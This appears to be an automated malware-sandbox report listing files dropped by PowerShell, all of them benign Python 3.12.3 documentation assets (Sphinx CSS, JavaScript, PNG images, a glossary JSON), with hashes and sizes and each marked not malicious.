                    Preview:# Sphinx build info version 1..# This file hashes the configuration used when building these files. When it is not found, a full rebuild will be done...config: 9a95930adb1ce197ae15cb4c41582c37..tags: 645f666f9bcd5a90fca523b33c5a78b7..
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:Python script, ASCII text executable, with CRLF line terminators
                    Category:dropped
                    Size (bytes):6036
                    Entropy (8bit):4.734990692234277
                    Encrypted:false
                    SSDEEP:
                    MD5:F161D3B3E8CA2C3D55D9B1DD97107FA2
                    SHA1:DB3F12B09E223787F8EFF264F820C1097DF7D099
                    SHA-256:DEFCCC58D87DBD6207906F80DEB9AD29ED15B0DF588CBFCB180D6B9369E5F8B0
                    SHA-512:17F14EF1D696F89BFD8F814F88014CE4FC6FCCA904450D2466D9D830CE74599F761AA6374D27E2DB9A2A2FFBB6A38DB5291685B68D7A65901B13AF5767843366
                    Malicious:false
                    Antivirus:
                    • Antivirus: ReversingLabs, Detection: 0%
                    Reputation:unknown
                    Preview:from datetime import tzinfo, timedelta, datetime....ZERO = timedelta(0)..HOUR = timedelta(hours=1)..SECOND = timedelta(seconds=1)....# A class capturing the platform's idea of local time...# (May result in wrong values on historical times in..# timezones where UTC offset and/or the DST rules had..# changed in the past.)..import time as _time....STDOFFSET = timedelta(seconds = -_time.timezone)..if _time.daylight:.. DSTOFFSET = timedelta(seconds = -_time.altzone)..else:.. DSTOFFSET = STDOFFSET....DSTDIFF = DSTOFFSET - STDOFFSET....class LocalTimezone(tzinfo):.... def fromutc(self, dt):.. assert dt.tzinfo is self.. stamp = (dt - datetime(1970, 1, 1, tzinfo=self)) // SECOND.. args = _time.localtime(stamp)[:6].. dst_diff = DSTDIFF // SECOND.. # Detect fold.. fold = (args == _time.localtime(stamp - dst_diff)).. return datetime(*args, microsecond=dt.microsecond,.. tzinfo=self, fold=fold).... def utcoffset(se
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:PNG image data, 500 x 320, 8-bit colormap, non-interlaced
                    Category:dropped
                    Size (bytes):11070
                    Entropy (8bit):7.946023445243204
                    Encrypted:false
                    SSDEEP:
                    MD5:A31E9697FC75139B17480D716A80ABA4
                    SHA1:F94BF8128D57C0610A6ACD69AD4D56F839EDA01F
                    SHA-256:382828D64E88644E47E695D717EA8432EC1EF79A17F2D209B11AEF4FDBFA4BF5
                    SHA-512:A592706045236F3ED27D38C5DDF40BD087428DFC158C5E531CB00EF7AAC9C2F7F78CFCE870F0C8971D71AF129D5FB716D6BE2C1B28CD69282F048A34D1B38643
                    Malicious:false
                    Reputation:unknown
                    Preview:.PNG........IHDR.......@.....}S~.....gAMA......a.... cHRM..z&..............u0...`..:....p..Q<...mPLTE.............:}.......k........j.&q.................................................{......................................t............................................b..?o.4d.<k.X.................8h.Ar.6f..................T..>m.Dt.U.....5e............:k.h..p..r..e..\..Iy........................3d.Dx.........{....a..w..r..t..o....Y..`spwr..ZkK,P.)M.,G7.3.t..@V.w)V..[.y.e@yfoVGv.c..&^.v~.u|.......mpf...*Pn3:8qrppjmtx~4H,3f.ZR.`....k|y.GesFl.....Ms.:0BA@...... !WbV...............hj`.J.s..^S.HI%Mfb7f...........YGx...u..i..~...v..~.W...1X.\....joJ.W2H...&@.......T....5].......6\.(F.....su.....bKGD....H....tIME.........,...'.IDATx.._......XG....X..)/.(..nq.......@.h=.V$..-...t.Bk.R ..|i.....{.....s_.....d.B2Q..$..|:].kMf.w.~.5k(J....T`k.V.V..gP.z.Q_...)B=.gnxk...b..7lP..',W.G_...6....+E=s....wBt......N...u..U..........;!...wW..'DW 2#@'...lP
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:PNG image data, 2832 x 1851, 8-bit/color RGBA, non-interlaced
                    Category:dropped
                    Size (bytes):315150
                    Entropy (8bit):7.563998966428142
                    Encrypted:false
                    SSDEEP:
                    MD5:1FC09C1924C3A39F4937B62D8CA139B4
                    SHA1:D30ABCDBCE8FC51828AB627CDC5E9E1E1DAC9B87
                    SHA-256:B669BED8B4B1D4672F6772C0B63C2C70678DD330C4E7DB576C55BCB319B8865B
                    SHA-512:D486EC9061D1647111362142B8CF3F00F7F496B136497C2203155CBEFE874ABB1A32633C29630F5C65F2F17921C864C626E0A4E7BD223DD36B440864D2EDD895
                    Malicious:false
                    Reputation:unknown
                    Preview:.PNG........IHDR.......;........^....sRGB.........eXIfMM.*.............................J...........R.(...........i.........Z.......J.......J.........................................;....'}......pHYs..2...2..(dZ...@.IDATx......U....";..*..(......".....E.L.D..'.&:b&&:f..i..U.E\p..D.Pqc.d_d.Y.>....U..nq.-x...{.*...G..-.|W.6..P@...P@...P@...P@...P@...P@...P@...P@...P@...P@...P@...P@...P@...P@...P@...P@...P@...P@...P@...P@...P@...P@...P@...P@...P@...P@...P@...P@...P@...P@...P@...P@....c.6.......m;=....P@...P@...P@...P@...P@...P@...P@...P@...P@...P@...P...\.t...w.....iA.../..Tla_W@...P@...P@...P@...P@...P@...P@...P@...P@...P@...P@.V/..w.._.>|......{...P@...P@...P@...P@...P@...P@...P@...P@...P@...P@...P.n...x..}.F....~.7.z...P@...P@...P@...P@...P@...P@...P@...P@...P@...P@...P...|...G..it4...%r...P@...P@...P@...P@...P@...P@...P@...P@...P@...P@..Z.........m.....P@...P@...P@...P@...P@...P@...P@...P@...P@...P@...P.V...k%i?.(....(....(....(....(....(....(....(....(....(........:8H.Q...P@
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:PNG image data, 955 x 758, 8-bit colormap, non-interlaced
                    Category:dropped
                    Size (bytes):21907
                    Entropy (8bit):7.912374033687615
                    Encrypted:false
                    SSDEEP:
                    MD5:D69005A3C3EE464C7C68E7BCF5012682
                    SHA1:2B17E0E96AACCF6722EF75281663BB715BA9ADAF
                    SHA-256:70D752F336A9EE7AF4A56B8E5B3696B962B69793B274F76439165823C69CF5E0
                    SHA-512:178DA406781A067DEB6DB01CA87886CF5981A528DEF019F8EDABB8372D44FA1E31CC8F410ACB586529A877400F9F3D59427789E4F61615FF87411FE074258DC7
                    Malicious:false
                    Reputation:unknown
                    Preview:.PNG........IHDR...............q.....gAMA......a.... cHRM..z&..............u0...`..:....p..Q<....PLTE..........@@@ppp......... ...............XXX..........................<<<QQQ%%%...ttt...ccc.......................P..Y..QQ1<<$...s...%%.ttF..z.....b..jcc;.......................???...PPP000888...HHH......(((......hhhxxx```............wwwAAA]]]***...NNN{{{......:::...---RRR...>>>...TTTGGG............kkk&&&zzz...ooo...!!!111.........222eee...SSS===......___......$$$.........CCC444..."""[[[sss'''........bKGD....H....tIME.........M...R.IDATx....#K.....[...uW.Z......E.y.ln.~}....3{8.r.. .$.............%.......|>[{.*..V...ZUk.@.[........e.....`.. .v...w.....]..:".d.j.....mwv..7...}N5]''..T[t...].]...w....F|c.Kv..oj~M.KvyS.T..g.Nv....O.K....q..k....w...]....d.....$.d.75.g..1..Z.+..M.W...k{.....&....\.3..kn).a.j.h.E...`.H....M.k..fn..b..P=.].Kvk..4..E..m....sd.{...F"...:'.N$vp..EcT....8..H4:.Z/").X.X.D.f...uZ....3...i..u9.r.AP...'...*...r..<...>aWCx;...|y.....w&
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:PNG image data, 538 x 319, 8-bit colormap, non-interlaced
                    Category:dropped
                    Size (bytes):6431
                    Entropy (8bit):7.725801858557267
                    Encrypted:false
                    SSDEEP:
                    MD5:E422B7E296E99FD5875644DA110F0ECE
                    SHA1:57C6717DA7EA3D0CCD93765FD7B26A0FC1E81007
                    SHA-256:4BD5DB0B21F178FD8B16F7D999D0DA20A00CA8D271CD556CFB1D26DEA91AAC88
                    SHA-512:84FB37C554F9F8801040E6729DB269060C067A0669F561D68852B316521F2F9A699A6CF3F219E51566318AB55FC0E46A2BE3A1D70129AC291C2165C288843BD0
                    Malicious:false
                    Reputation:unknown
                    Preview:.PNG........IHDR.......?.....7.....[PLTE..................................................................................................................................................................................................................'''................................................>>>....................."""......................................................,,,........................222............................................................ $$$(((,,,000444888<<<@@@DDDHHHLLLPPPTTTXXX\\\```dddhhhlllppptttxxx|||...................................................................................................f..%....tRNS......... $'(,048<@CGKOSW[_acdghjkoqstw{................................................................................................./].....IDATx.......A.q...B.6M.|!.V.$m.k..4m.-..t..H.A.l.6.y,..c0x...l.......%.Y......,~....8..H......H.....s....RJ)..RJ)..RJ)..RJ)..RJ)..RJ)..RJ)..RJ)..RJ)..RJ.u.zc...y^%...nk...h..h..h..h(.P..DC..
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:PNG image data, 978 x 175, 8-bit/color RGB, non-interlaced
                    Category:dropped
                    Size (bytes):14979
                    Entropy (8bit):7.907484756754295
                    Encrypted:false
                    SSDEEP:
                    MD5:92E760BA94011039696672615A8FFBC6
                    SHA1:B6A1BDCE450A251D1AB46BC7EEF2970E158761F6
                    SHA-256:B21A9EA9AD785299A282CCCC4B9A93CF9B1F028F65B0E90C0C41DEEA019953BE
                    SHA-512:95528E1D62C27F704FCB0E305A10F2CE1364A0A4A5A66D72E1424957E31D77B1D5C58997C5543273B6AD528D29D1120C665EDCAE8142AC7FDB9FFD947DF59AE0
                    Malicious:false
                    Reputation:unknown
                    Preview:.PNG........IHDR...............q.....gAMA......a.... cHRM..z&..............u0...`..:....p..Q<....bKGD..............pHYs..........o.d..9.IDATx...{|T.?..s.3........ ...j+...UhC....X.n....nm....U${.Y.....Z.1hk......!@HB..I2..\~..d.$..7K2....N&g2.s..s...9.....j.)...."...[.1..............~.!.0|..~...o.......?F..,.".+.[J.....'.....`3.f.R.....#,../5M......Tb.#...G.;..Zx..........~G.;."...................iw8.F....n..j.w....#.!.0.*.pV.iZ8........Q.J!.o....Rm.....@DF8..X.s'Z0v.c.?.i]..w..-Tb.#...g.[.k........".C)....}..._!.........B.QAA..2v....b...0.;..3..A...$j...#..w...w.n8.L.Q.#.d!g..E."Xl.X...Y.#...!.b'...B!.4....u=...J. ....[..i.=.h..>.$.d..;w.....r..S..C....y.Xl.....j.s..v.&..`.1AH...P`.!./.1VD..9.yx~G.4)e....97B.Fp......w.@4S,..g&..1..@../|.C..".H..Q...eE~i/.F.. . ..@8..4..%..b9..4.>.$|)..@.b...g%..v.D...c@...9..6re....#] <.J).~..@.. !...^V...8h...I...;..E.....\AD.....'vS.;e!.`dw.{f.s....b...9.....X..........W.s.(.,.FhA.u....6.A..,........;CA..'...
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:PNG image data, 250 x 250, 8-bit/color RGB, non-interlaced
                    Category:dropped
                    Size (bytes):33808
                    Entropy (8bit):7.9845728693968825
                    Encrypted:false
                    SSDEEP:
                    MD5:9B1263DB04E6421E7032CFED2001A5D3
                    SHA1:5EF1092FDE20E8251CC9592E37B9F22F9F4E87C3
                    SHA-256:B5528A56A8B0F2E5DA3D6F20F47057CC0325273FF152816C202F8A114CD07138
                    SHA-512:E3D6F048380D724A3671817C128E96CFD27ECA14C4C84D88655044E5A37D3C9635DEF1D518F7C6BCC51C0EEEC9F99F8A28E3E4B179ACC05269E8EB0F99E7F826
                    Malicious:false
                    Reputation:unknown
                    Preview:.PNG........IHDR................j....iCCPICC Profile..x..gTS....9.@..zG.t)....l.$@(1.....T`,...:.C......... X....A@...XP.'pA.]w..?wg..~........@.g......I.TQ..3cYD$...`.2..h@fsR......m..@..}#q..L...i./........).$.."....R..;..+#U.0..a...@.O.9v....=.}.9!A.H.8.x2.-........X..Y.a.../@..a.N....v......Y....N...fG/.d.c.x. w".v.....f/..CRb.._....dA...l..>.e.z.0q..fu. 4x^.D...s..=h....?p@.....7....:.l/........sJz..<g...3.....Y.:?...5..k.L D~..........$.F.<.+2."Z.l.. ..[..-..k..D..T..y.y....cl.0315...o..;.[......k.3..."......+.g...d.]S.......4Q.\=.x.."..2@...........v..../..B@.X.8 ..s...Y`....`7..J..P...Ip.4...*......<..`....`.LC...(....T!-..2..!......(....P...m..B..:..@.A..-..z..Bc.[.3......k.ak..{.!.J8.N.3..x'\...'...*|.~.....I.@.Pt....e.rA.."Q1(.j#*.U.*G..Q.....8.......h#.............t5......DO..a(.%......,..b20.."L%...:.!f.3..b.X...........`.a.-.n..v......p.8..........].....>.IxU.........E.....{...4A..E.%....u.].c.f.].0a.(M.!..C...-.bb..:....D"..lH.
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:PNG image data, 706 x 449, 8-bit/color RGBA, non-interlaced
                    Category:dropped
                    Size (bytes):84383
                    Entropy (8bit):7.964768426071419
                    Encrypted:false
                    SSDEEP:
                    MD5:7114029B0D94D2852D9E6DDF0E909C2B
                    SHA1:B91383E188398914ECBC306FD1A23E26D5118FF9
                    SHA-256:BA9ABF87CADFFA7027CA298BA11CEB6418F3A9ABB32AC988C8D342E7C2B3FB2E
                    SHA-512:5ABE7D97E38E0419E0D5B3505F46871682886A0E7701724A73A1D451B1202327DB6CA0EFF8CB99D653E319DB8F2B46A1057029627E23100FF81EBD5755E37D73
                    Malicious:false
                    Reputation:unknown
                    Preview:.PNG........IHDR.............cn......gAMA......a.... cHRM..z&..............u0...`..:....p..Q<....bKGD..............pHYs..........o.d....IDATx...wt\......{}.k..s....k...z<AR..A....Pq.g..H3....:.Mv..R+tnt`...9.`..3.A"....:.r!<..{...s.T@"A.}...@.S'...s...5.jFz.X,...b.X..UaT.\...b.X,....#.......<x......!......r;........<x...c.cHp<, <@.-.#.....<x........j.y.0<......._x.......<x.....UA.@.J........../x.......<x.(3..X..K.q.0\-..r.....C....<x.........Qp...U..U.. \.(............<x...C.:+..c........*!8.....0...6.w.<x.......<...b..K.q5.pI....+.............<x.....6......s.... 8.............<x.......<xD...0..~. ....a8..+D". X'r.~....r..r...<x.......7....../.?.....@....a......Q..{r..@..?...........?........<x.......<xhCg.?..IpL...h.q%.......J.L...K..G...........?......."......<x.....6....d......._E.%...@..H..i.......z...C..........jjj.{MM..#......<x......C...q......4@.?%...i....J..b......rC..#.<..<x.......<FjH..`8....+\..+....B..>9<x.......<F....t..(....*a.".... L...w..
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:ASCII text, with CRLF line terminators
                    Category:dropped
                    Size (bytes):16018
                    Entropy (8bit):4.801847554025832
                    Encrypted:false
                    SSDEEP:
                    MD5:CB95906BC97133CE646BC7BFB1119A5C
                    SHA1:6B5620D53347075F849736D7D3594573589162A9
                    SHA-256:5251A8124C61A4B37AA0A7DC2DED6422E0E8296F854F6D5FA59B8A8DE2A6E5D9
                    SHA-512:2E992E4AD916EE7B17454A700EE0892AA224932079F70D79F8F43B197F9FA71ADB2FCFCB26AB5F7209078587E3BB58D07A1EE99319BEA90B6951A649877A72A5
                    Malicious:false
                    Reputation:unknown
                    Preview:/*.. * basic.css.. * ~~~~~~~~~.. *.. * Sphinx stylesheet -- basic theme... *.. * :copyright: Copyright 2007-2023 by the Sphinx team, see AUTHORS... * :license: BSD, see LICENSE for details... *.. */..../* -- main layout ----------------------------------------------------------- */....div.clearer {.. clear: both;..}....div.section::after {.. display: block;.. content: '';.. clear: left;..}..../* -- relbar ---------------------------------------------------------------- */....div.related {.. width: 100%;.. font-size: 90%;..}....div.related h3 {.. display: none;..}....div.related ul {.. margin: 0;.. padding: 0 0 0 10px;.. list-style: none;..}....div.related li {.. display: inline;..}....div.related li.right {.. float: right;.. margin-right: 5px;..}..../* -- sidebar --------------------------------------------------------------- */....div.sphinxsidebarwrapper {.. padding: 10px 5px 0 10px;..}....div.sphinxsidebar {.. float: left;.. width: 230
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:ASCII text, with CRLF line terminators
                    Category:dropped
                    Size (bytes):1976
                    Entropy (8bit):4.644530815662487
                    Encrypted:false
                    SSDEEP:
                    MD5:B75610C76C03CB7E3F1C47ED9AECB54E
                    SHA1:444C7F390FA904085C8E85642240473E45E79D61
                    SHA-256:5CAEFAA11B03B3A7451FD521A841272B9C670AE333C53D265151E65CD647483C
                    SHA-512:2CA688C7BA1875E54171566BDE3B735408124D1246BE4C1BC8E02DD76E26E608514FBF79C096E01BB11D5F548ABBBAF1A519BDFD2B91AE3D4BD884D5AEBED7D3
                    Malicious:false
                    Reputation:unknown
                    Preview:document.addEventListener("DOMContentLoaded", function () {.. // add the search form and bind the events.. document.. .querySelector("h1").. .insertAdjacentHTML(.. "afterend",.. [.. "<p>Filter entries by content:",.. '<input type="text" value="" id="searchbox" style="width: 50%">',.. '<input type="submit" id="searchbox-submit" value="Filter"></p>',.. ].join("\n"),.. );.... function doFilter() {.. let query;.. try {.. query = new RegExp(document.querySelector("#searchbox").value, "i");.. } catch (e) {.. return; // not a valid regex (yet).. }.. // find headers for the versions (What's new in Python X.Y.Z?).. const h2s = document.querySelectorAll("#changelog h2");.. for (const h2 of h2s) {.. let sections_found = 0;.. // find headers for the sections (Core, Library, etc.).. const h3s = h2.parentNode.querySelectorAll("h3");.. for (const h3 of h3s) {.. let entries_found = 0;.. //
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:ASCII text, with CRLF line terminators
                    Category:dropped
                    Size (bytes):5744
                    Entropy (8bit):4.963403524057622
                    Encrypted:false
                    SSDEEP:
                    MD5:60F6A7572281531726D2174C47CA3938
                    SHA1:280575B81AF62CB70F115A149C44F83CB825A8E4
                    SHA-256:22FE227926A455195858421E5D0DC6FB5F22717F38267E8E5CA323502870098E
                    SHA-512:D1710F6B55AD0F037BBA8B88195401435BD43D12A4BB068E631FFA435021C27D1A254D6B3E92450549DCC8C40D1900FF5B99616316BD447B6E1BDA791828F19F
                    Malicious:false
                    Reputation:unknown
                    Preview:/*.. * classic.css_t.. * ~~~~~~~~~~~~~.. *.. * Sphinx stylesheet -- classic theme... *.. * :copyright: Copyright 2007-2023 by the Sphinx team, see AUTHORS... * :license: BSD, see LICENSE for details... *.. */....@import url("basic.css");..../* -- page layout ----------------------------------------------------------- */....html {.. /* CSS hack for macOS's scrollbar (see #1125) */.. background-color: #FFFFFF;..}....body {.. font-family: -apple-system, BlinkMacSystemFont, avenir next, avenir, segoe ui, helvetica neue, helvetica, Cantarell, Ubuntu, roboto, noto, arial, sans-serif;.. font-size: 100%;.. background-color: white;.. color: #000;.. margin: 0;.. padding: 0;..}....div.document {.. display: flex;.. background-color: white;..}....div.documentwrapper {.. float: left;.. width: 100%;..}....div.bodywrapper {.. margin: 0 0 0 230px;..}....div.body {.. background-color: white;.. color: #222222;.. padding: 0 20px 30px 20px;..}....div.footer {
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:ASCII text
                    Category:dropped
                    Size (bytes):3508
                    Entropy (8bit):4.461888105802553
                    Encrypted:false
                    SSDEEP:
                    MD5:0E50832AB2FD7BF08237149FF985E178
                    SHA1:C6B09E18028914CF6718EE00E88EA7436C9C862A
                    SHA-256:2D278D2F6F600CD2A0DDFBF8ADF71BF2DFBCC641FA1E8CE909B25723D16E3BA5
                    SHA-512:E81B7DD87B9E9DA57507D516E5A7DE13E98298BBFADAE60A719102395163A887FAF6C571A4B488D278A5D6CCBA00A19E675502EBFED3A8D093C2B0E523A05AF9
                    Malicious:false
                    Reputation:unknown
                    Preview:// ``function*`` denotes a generator in JavaScript, see.// https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/function*.function* getHideableCopyButtonElements(rootElement) {. // yield all elements with the "go" (Generic.Output),. // "gp" (Generic.Prompt), or "gt" (Generic.Traceback) CSS class. for (const el of rootElement.querySelectorAll('.go, .gp, .gt')) {. yield el. }. // tracebacks (.gt) contain bare text elements that need to be. // wrapped in a span to hide or show the element. for (let el of rootElement.querySelectorAll('.gt')) {. while ((el = el.nextSibling) && el.nodeType !== Node.DOCUMENT_NODE) {. // stop wrapping text nodes when we hit the next output or. // prompt element. if (el.nodeType === Node.ELEMENT_NODE && el.matches(".gp, .go")) {. break. }. // if the node is a text node with content, wrap it in a. // span element so that we
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:ASCII text
                    Category:dropped
                    Size (bytes):28
                    Entropy (8bit):4.06610893983748
                    Encrypted:false
                    SSDEEP:
                    MD5:0000E4EA89F1C9F5739B7F36D88477DA
                    SHA1:B9D1252F212DEFA2013AB47A83A1D0217155888C
                    SHA-256:F3D74D09F9A0D5C08E9EF211AFED3397ACE994A39748325AE53BEA62124348B1
                    SHA-512:80A17368195F3E41B48EE0B86D94839943CDF7C1AECE0D6D1524D297B25837589CAC78B26A497336A3997542BF801791648A71CFB80EDB018C32E3F179047E8F
                    Malicious:false
                    Reputation:unknown
                    Preview:@import url("classic.css");.
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:ASCII text
                    Category:dropped
                    Size (bytes):4472
                    Entropy (8bit):5.0585230241764325
                    Encrypted:false
                    SSDEEP:
                    MD5:C11D2DE693BE9FB96BC1C8A9A35D4002
                    SHA1:C577AFA99AF5347B1E4F0E350A07E5D400464A99
                    SHA-256:3D62B81F63B0418A39A8F5A323203D88DDAFC8C5226F86D311970025D86D7B6C
                    SHA-512:E2B65FC609C4DB774C58881347BEF0B3C80E4A2B3A048D2935EC688CC6AAFA4B4A5DD3619953128AE60B6896134C0FC00506E78D2E4169A14F32AEE9A4C877A8
                    Malicious:false
                    Reputation:unknown
                    Preview:/*. * doctools.js. * ~~~~~~~~~~~. *. * Base JavaScript utilities for all Sphinx HTML documentation.. *. * :copyright: Copyright 2007-2023 by the Sphinx team, see AUTHORS.. * :license: BSD, see LICENSE for details.. *. */."use strict";..const BLACKLISTED_KEY_CONTROL_ELEMENTS = new Set([. "TEXTAREA",. "INPUT",. "SELECT",. "BUTTON",.]);..const _ready = (callback) => {. if (document.readyState !== "loading") {. callback();. } else {. document.addEventListener("DOMContentLoaded", callback);. }.};../**. * Small JavaScript module for the documentation.. */.const Documentation = {. init: () => {. Documentation.initDomainIndexTable();. Documentation.initOnKeyListeners();. },.. /**. * i18n support. */. TRANSLATIONS: {},. PLURAL_EXPR: (n) => (n === 1 ? 0 : 1),. LOCALE: "unknown",.. // gettext and ngettext don't access this so that the functions. // can safely bound to a different name (_ = Documentation.gettext). gettext: (string) => {. const translated = Docume
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:ASCII text, with CRLF line terminators
                    Category:dropped
                    Size (bytes):341
                    Entropy (8bit):4.998813699121702
                    Encrypted:false
                    SSDEEP:
                    MD5:0EDC96A6A4FB357EBF75A6E7E1E20900
                    SHA1:10F0C8971B7EC6D3A24F3B7B60ADCA0A7574A067
                    SHA-256:9D21CA41024B088E7DC1F227CEF5FC5AB20C2F05F049EEF961DA09234E24A148
                    SHA-512:25E56DCB680AF9E4D79637259BC0D04832CEAC60175717C881AAB32F8FAD8F35D16B8FE182F6F711EAFDD20818FB2FEE1444323D8B1CB586F25FB577CE668F2C
                    Malicious:false
                    Reputation:unknown
                    Preview:const DOCUMENTATION_OPTIONS = {.. VERSION: '3.12.3',.. LANGUAGE: 'en',.. COLLAPSE_INDEX: false,.. BUILDER: 'html',.. FILE_SUFFIX: '.html',.. LINK_SUFFIX: '.html',.. HAS_SOURCE: true,.. SOURCELINK_SUFFIX: '.txt',.. NAVIGATION_WITH_KEYS: false,.. SHOW_SEARCH_SUMMARY: true,.. ENABLE_SEARCH_SHORTCUTS: true,..};
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
                    Category:dropped
                    Size (bytes):286
                    Entropy (8bit):6.982817860477681
                    Encrypted:false
                    SSDEEP:
                    MD5:BA0C95766A77A6C598A7CA542F1DB738
                    SHA1:51FD2E4EC924E822C5D434FA98CCFC70C30380F5
                    SHA-256:5C4BC9A16AEBF38C4B950F59B8E501CA36495328CB9EB622218BCE9064A35E3E
                    SHA-512:0426FE38986987303F6076D52EF28BDCF4F3AC2858E0780557471F2D0F3E055745687D0905357C6A0CD7E6F5DD1EF8FE82FF311E44499F89AB6299A41B67D8E6
                    Malicious:false
                    Reputation:unknown
                    Preview:.PNG........IHDR................a....IDATx....R.....){.l. ....f.=@....:...3..~.......rX$A...X-.D.~............(.P.%......8<<.9::.....P...O&.$.....l~.X.....&....EW..^4.w.Q}......^.............i....0/H/.@F).Dzq+..j..[..SU5......h../.oY..G&Lfs|......{.....3%.U.+S..`AF.....IEND.B`.
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:JSON data
                    Category:dropped
                    Size (bytes):146694
                    Entropy (8bit):4.801719470012649
                    Encrypted:false
                    SSDEEP:
                    MD5:FFC141EE0F44F0B1570B67A99E6CC374
                    SHA1:805534F98BCE92756D242B5FCE554975194A5BDD
                    SHA-256:2D9C095B96F798D19AC468627BD066CE4E4CF5DCBEF43664E9943257B66CA99B
                    SHA-512:42B9DBAFCBE2347768BC7375F11D1DDC4F95F6F1DA71B2AF5AD156D1066053BB704B585FC4547605A4FF73FA9FFE3AD8F7C8DF5AC577673AFFAB9957C6625DDB
                    Malicious:false
                    Reputation:unknown
                    Preview:{">>>": {"title": ">>>", "body": "<main>\n<dd><p>The default Python prompt of the interactive shell. Often seen for code\nexamples which can be executed interactively in the interpreter.</p>\n</dd>\n</main>\n"}, "...": {"title": "...", "body": "<main>\n<dd><p>Can refer to:</p>\n<ul class=\"simple\">\n<li><p>The default Python prompt of the interactive shell when entering the\ncode for an indented code block, when within a pair of matching left and\nright delimiters (parentheses, square brackets, curly braces or triple\nquotes), or after specifying a decorator.</p></li>\n<li><p>The <a class=\"reference internal\" href=\"library/constants.html#Ellipsis\" title=\"Ellipsis\"><code class=\"xref py py-const docutils literal notranslate\"><span class=\"pre\">Ellipsis</span></code></a> built-in constant.</p></li>\n</ul>\n</dd>\n</main>\n"}, "2to3": {"title": "2to3", "body": "<main>\n<dd><p>A tool that tries to convert Python 2.x code to Python 3.x code by\nhandling most of the incompatibiliti
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:ASCII text, with CRLF line terminators
                    Category:dropped
                    Size (bytes):4957
                    Entropy (8bit):4.706694430371463
                    Encrypted:false
                    SSDEEP:
                    MD5:1F1730A3FF00B31B7C2453000CE4F5CB
                    SHA1:D39E65623BCF26D762FC67A82DC97526D0BF3798
                    SHA-256:A889DDDC136E6E32DB953C4588618ECD9D482BF1FBACE3168F5008BB868C33E7
                    SHA-512:C525A0185430C6B287BC25FFE8FA6763ECD9963470A8930CD461FF675C2ED8E6FC672FB69824E155BF209240B9729BCE40285F376A04478D04D1946149CC6349
                    Malicious:false
                    Reputation:unknown
                    Preview:/*.. * language_data.js.. * ~~~~~~~~~~~~~~~~.. *.. * This script contains the language-specific data used by searchtools.js,.. * namely the list of stopwords, stemmer, scorer and splitter... *.. * :copyright: Copyright 2007-2023 by the Sphinx team, see AUTHORS... * :license: BSD, see LICENSE for details... *.. */....var stopwords = ["a", "and", "are", "as", "at", "be", "but", "by", "for", "if", "in", "into", "is", "it", "near", "no", "not", "of", "on", "or", "such", "that", "the", "their", "then", "there", "these", "they", "this", "to", "was", "will", "with"];....../* Non-minified version is copied as a separate JS file, is available */..../**.. * Porter Stemmer.. */..var Stemmer = function() {.... var step2list = {.. ational: 'ate',.. tional: 'tion',.. enci: 'ence',.. anci: 'ance',.. izer: 'ize',.. bli: 'ble',.. alli: 'al',.. entli: 'ent',.. eli: 'e',.. ousli: 'ous',.. ization: 'ize',.. ation: 'ate',.. ator: 'ate',.. alism: 'al',.. iveness
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:ASCII text
                    Category:dropped
                    Size (bytes):2137
                    Entropy (8bit):4.61501159702344
                    Encrypted:false
                    SSDEEP:
                    MD5:4769AC04FE66AE519264AB18F6B85993
                    SHA1:8DB5C986C6C4602B11B4603034B6BDB954FCA60F
                    SHA-256:266ACA0F4F3FE828828101F7D80B3D020892895FAD8757D922756B9930A28730
                    SHA-512:15CA50998BBC89FB7D2522DF44800101615D93FF3D7684C6FC20389C0E8DB5A9AB7E98C1E8E041A9EF61E56BC82794A1B0F436B0311B421BBF3135AFB494A11F
                    Malicious:false
                    Reputation:unknown
                    Preview:document.addEventListener("DOMContentLoaded", function () {.. // Make tables responsive by wrapping them in a div and making them scrollable. const tables = document.querySelectorAll("table.docutils"). tables.forEach(function(table){. table.outerHTML = '<div class="responsive-table__container">' + table.outerHTML + "</div>". }).. const togglerInput = document.querySelector(".toggler__input"). const togglerLabel = document.querySelector(".toggler__label"). const sideMenu = document.querySelector(".menu-wrapper"). const menuItems = document.querySelectorAll(".menu"). const doc = document.querySelector(".document"). const body = document.querySelector("body").. function closeMenu() {. togglerInput.checked = false. sideMenu.setAttribute("aria-expanded", "false"). sideMenu.setAttribute("aria-hidden", "true"). togglerLabel.setAttribute("aria-pressed", "false"). body.style.overflow = "visible". }. function openMe
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:PNG image data, 11 x 11, 8-bit grayscale, non-interlaced
                    Category:dropped
                    Size (bytes):90
                    Entropy (8bit):5.021779901931872
                    Encrypted:false
                    SSDEEP:
                    MD5:36B1A4B05451C7ACDE7CED60B2F6BC21
                    SHA1:89F4178F1F917AD03726F307FE6D2E28D6A1706A
                    SHA-256:47E7FC50DB3699F1CA41CE9A2FFA202C00C5D1D5180C55F62BA859B1BD6CC008
